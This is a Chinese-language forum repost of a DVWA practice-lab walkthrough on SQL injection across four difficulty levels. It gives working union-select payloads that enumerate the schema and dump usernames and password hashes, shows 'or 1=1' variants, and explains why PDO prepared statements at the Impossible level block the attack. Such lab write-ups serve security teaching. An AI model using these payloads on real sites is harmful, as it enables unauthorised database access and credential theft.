马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?立即注册
×
贤人之道,吾性自足,不假外求
1.SQL Injection(Low)
相干代码分析
可以看到代码没有对id参数做任何过滤,会导致SQL注入毛病
输入1,正常返回
输入1’,产生报错,存在字符型SQL注入
判定字段数,输入1’ order by 2 – q,回显正常,用-- q解释掉前面的单引号
输入1’ order by 3 – q,回显错误,以是字段数为2
判定回显点,输入1’ union select 1,2 – q,可以在如图所示的位置获取我们想要的内容
查询当前数据库名为dvwa,输入1’ union select 1,database() – q
查询当前数据库下的全部表名guestbook,users,输入1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() – q
查询users表中的全部字段user_id,first_name,last_name,user,password,avatar,last_login,failed_login,输入1’ union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’ – q
查询user和password字段的内容,输入1’ union select group_concat(user),group_concat(password) from users – q
2.SQL Injection(Medium)
相干代码分析
Medium级别的代码利用mysql_real_escape_string函数对特别符号
\x00,\n,\r,,',",\x1a举行转义,同时前端页面设置了下拉选择表单,盼望以此来控制用户的输入。
判定是否存在注入,注入是字符型还是数字型
抓包更改参数id为1’ or 1=1 #
报错:
抓包更改参数id为1 or 1=1 #
查询乐成:
分析存在数字型注入。
(由于是数字型注入,服务器端的mysql_real_escape_string函数就形同虚设了,由于数字型注入并不必要借助引号。)
中心的操纵和低品级的SQL注入类似,只是抓包修改,在此不再做过多赘述
3.SQL Injection(High)
相干代码分析
与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,盼望以此控制只输出一个结果。
固然添加了LIMIT 1,但是我们可以通过#将其解释掉,前面要加上’。中心的操纵和低品级的SQL注入类似,在此不再做过多赘述
输入1’ or 1=1 union select group_concat(user),group_concat(password) from users #,查询乐成:
4.SQL Injection(Impossible)
相干代码分析
可以看到,Impossible级别的代码接纳了PDO技能,划清了代码与数据的界限,有用防御SQL注入,同时只有返回的查询结果数量为一时,才会乐成输出,如许就有用防备了“脱裤”,Anti-CSRFtoken机制的参加了进一步进步了安全性。
文笔生疏,语言浮浅,望各位大佬不吝见教,万分感谢。- CSDN:
- https://rdyx0.blog.csdn.net/
- https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect
- 博客:
- https://rdyx0.github.io/
- 先知社区:
- https://xz.aliyun.com/u/37846
- SecIN:
- https://www.sec-in.com/author/3097
- FreeBuf:
- https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85
复制代码 |